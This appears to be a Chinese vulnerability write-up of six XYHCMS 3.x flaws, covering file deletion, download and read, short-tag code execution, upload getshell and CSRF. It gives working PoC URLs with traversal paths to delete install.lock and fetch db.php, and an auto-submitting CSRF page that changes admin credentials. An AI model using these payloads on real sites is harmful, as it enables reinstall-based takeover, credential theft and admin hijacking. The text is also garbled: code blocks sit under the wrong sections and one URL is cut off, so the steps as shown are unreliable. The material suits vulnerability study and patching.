Skip to content

Latest commit

 

History

History
397 lines (238 loc) · 14.3 KB

文库XYHCMS 漏洞.md

File metadata and controls

397 lines (238 loc) · 14.3 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

高质量的安全文章,安全 offer 面试经验分享

尽在 # 掌控安全 EDU #

作者:掌控安全 - 柚子

一. XYHCMS 3.2 后台任意文件删除

漏洞介绍

影响版本是 XYHCMS 3.2,漏洞的成因是没有对删除的文件没有做任何限制,导致可以直接把安装文件删除。

漏洞分析

打开

/App/Manage/Controller/DatabaseController.class.php

文件。

锁定 delSqlFiles() 函数。

漏洞复现

  1. 进入后台

  1. 删除安装锁文件

方法一:get 方式

http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/xyhai.php?s=/Database/delSq

方法二:post 方式

http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/xyhai.php?s=/Database/delSqlFiles /batchFlag/1

POST数据:key[]= ../../../install/install.lock
http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/xyhai.php?s=/Database/downFile/file/..\\..\\..\\App\\Common\\Conf\\db.php/type/zip
  1. 接下来直接访问 

http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/install 重装 cms

二. XYHCMS 3.2 后台任意文件下载

漏洞介绍

影响版本是 XYHCMS 3.2,漏洞的成因是没有对下载的文件做任何限制。

漏洞分析

找到

/App/Manage/Controller/DatabaseController.class.php 文件。

锁定 downfile() 方法下载函数。


这里并没有对下载的文件有限制,所以我们可以通过这段代码去构造 poc。

漏洞复现

  1. 进入后台页面。

  1. 构造 poc
http://127.0.0.1/XYHCms_V3.5/uploads_code/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==

  1. 数据库配置文件就下载下来了。

三. XYHCMS 3.5 任意文件读取漏洞

环境准备

XYHCMS 官网:http://www.xyhcms.com/

网站源码版本:XYHCMS V3.5(2017-12-04 更新)

程序源码下载:http://www.xyhcms.com/Show/download/id/2/at/0.html

漏洞分析

漏洞文件位置:/App/Manage/Controller/TempletsController.class.php

第 59-83 行:


声明了 3 个变量:

$ftype 文件类型;

$fname 文件名;

$file_path 文件路径

这段代码对提交的参数进行处理,然后判断是否 POST 数据上来

如果有就进行保存等,如果没有 POST 数据,将跳过这段代码继续向下执行。

通过这段代码,我们发现可以通过 GET 传入 fname,跳过前面的保存文件过程,进入文件读取状态。

问题就出现在这里,对 fname 进行 base64 解码,判断 fname 参数是否为空,拼接成完整的文件路径,然后判断这个文件是否存在,读取文件内容。

对 fname 未进行任何限制,导致程序在实现上存在任意文件读取漏洞,可以读取网站任意文件,攻击者可利用该漏洞获取敏感信息。

我们可以通过 GET 方式提交 fname 参数,并且将 fname 进行 base64 编码,构造成完整的路径,读取配置文件信息。

漏洞复现

登录网站后台

数据库配置文件路径:\App\Common\Conf\db.php

我们将这段组成相对路径,......\App\Common\Conf\db.php,

然后进行 base64 编码,

Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==

[POC] 最后构造的链接如下:

if (stripos($data[$key], '<?php') !== false || preg_match($preg_param, $data[$key])) {
                    $this->error('禁止输入php代码');
                }

修复建议

  1. 取消 base64 解码,过滤.(点) 等可能的恶意字符。

  2. 正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置。

四. xyhcms 3.6 后台代码执行漏洞

漏洞描述

XYHCMS 是一款开源的 CMS 内容管理系统。

XYHCMS 后台存在代码执行漏洞,攻击者可利用该漏洞在 site.php 中增加恶意代码,从而可以获取目标终端的权限。

代码中使用黑名单过滤 <?php 却忘记过滤短标签,导致后台系统设置 - 网站设置处可使用短标签在站点表述处 getshell。

漏洞分析

按步骤安装好网站之后,找到../App/Runtime/Data/config/site.php 这个文件。

找到对应功能看他是怎么控制的。

很明显,我们要去找一个 System 相关的控制器。

这里可以锁定 App/Manage/Controller/SystemController.class.php 这个文件。

<?=phpinfo();?>

但是我们看到这里让开启了短标签,(PHP 默认是开启 PHP 短标签的,即默认情况下 short_open_tag=ON)<?=,它和 <? echo 等价, 从 PHP 5.4.0 起, <?= 总是可用的

漏洞复现

找到后台—系统设置—网站设置

if (stripos($data[$key], '<?php') !== false || ($short_open_tag && stripos($data[$key], '<?') !== false) || preg_match($preg_param, $data[$key])) {
    $this->error('禁止输入php代码');
                }

就可以很简单的绕过限制。

修复方法

官方已经在最新版修复,简单粗暴的过滤

if (!empty($data['CFG_UPLOAD_FILE_EXT'])) {
                $data['CFG_UPLOAD_FILE_EXT'] = strtolower($data['CFG_UPLOAD_FILE_EXT']);
                $_file_exts = explode(',', $data['CFG_UPLOAD_FILE_EXT']);
                $_no_exts = array('php', 'asp', 'aspx', 'jsp');
                foreach ($_file_exts as $ext) {
                    if (in_array($ext, $_no_exts)) {
                        $this->error('允许附件类型错误!不允许后缀为:php,asp,aspx,jsp!');
                    }
                }
            }
<html>
  <head>
      <script>
          function submit(){
            var form = document.getElementById('test_form');
            form.submit();

          }
</script>
  </head>
    <body onload="submit()">


  <script>history.pushState('', '', '/')</script>
    <form action="http://xyh.com/xyhai.php?s=/Auth/editUser" method="POST" id="test_form">
      <input type="hidden"  />
      <input type="hidden"  />
      <input type="hidden"  />
      <input type="hidden" name="department[]" value="1" />
      <input type="hidden" name="department[]" value="4" />
      <input type="hidden" name="department[]" value="3" />
      <input type="hidden" name="group_id[]" value="1" />
      <input type="hidden"  />
      <input type="hidden" [email protected]" />
      <input type="hidden"  />
    </form>
  </body>
</html>

五. XYHCMS 3.6 后台文件上传 getshell

漏洞介绍

此漏洞的影响范围是 XYHCMS 3.6。

漏洞形成原因是:对后缀过滤不严,未过滤 php3-5,phtml(老版本直接未过滤 php)。

漏洞分析

找到

/App/Manage/Controller/SystemController.class.php 文件中第 246-255 行代码

if (!empty($data['CFG_UPLOAD_FILE_EXT'])) {
                $data['CFG_UPLOAD_FILE_EXT'] = strtolower($data['CFG_UPLOAD_FILE_EXT']);
                $_file_exts = explode(',', $data['CFG_UPLOAD_FILE_EXT']);
                $_no_exts = array('php', 'asp', 'aspx', 'jsp');
                foreach ($_file_exts as $ext) {
                    if (in_array($ext, $_no_exts)) {
                        $this->error('允许附件类型错误!不允许后缀为:php,asp,aspx,jsp!');
                    }
                }
            }


会看到她不允许的文件后缀有:php,asp,aspx,jsp。

我们可以通过这个思路,上传 php3-5,phtml 文件后缀的文件就能够绕过限制。

漏洞复现

  1. 进入后台

  2. 系统设置 -> 网站设置 -> 上传配置 -> 允许附件类型

  3. 添加类型 php3 或 php4 或 php5 或 phtml

  1. 点击下面的 水印图片上传上传以上后缀 shell

  2. 之后会在图片部分显示上传路径

六. XYHCMS 3.6 CSRF 漏洞

漏洞介绍

此版本存在一个 csrf 漏洞,可以更改管理员的任何信息(姓名、电子邮件、密码等)。

漏洞复现

poc:

<html>
  <head>
      <script>
          function submit(){
            var form = document.getElementById('test_form');
            form.submit();
          }
</script>
  </head>
    <body onload="submit()">
  <script>history.pushState('', '', '/')</script>
    <form action="http://xyh.com/xyhai.php?s=/Auth/editUser" method="POST">
      <input type="hidden"  />
      <input type="hidden"  />
      <input type="hidden"  />
      <input type="hidden" name="department[]" value="1" />
      <input type="hidden" name="department[]" value="4" />
      <input type="hidden" name="department[]" value="3" />
      <input type="hidden" name="group_id[]" value="1" />
      <input type="hidden"  />
      <input type="hidden" [email protected]" />
      <input type="hidden"  />
    </form>
  </body>
</html>
  1. 修改前如下图所示:


2. 打开 poc.html

  1. 修改后如下图所示:

回顾往期内容

Xray 挂机刷漏洞

POC 批量验证 Python 脚本编写

实战纪实 | SQL 漏洞实战挖掘技巧

渗透工具 | 红队常用的那些工具分享

代码审计 | 这个 CNVD 证书拿的有点轻松

扫码白嫖视频 + 工具 + 进群 + 靶场等资料

扫码白嫖**!**

还有免费的配套靶场、交流群哦!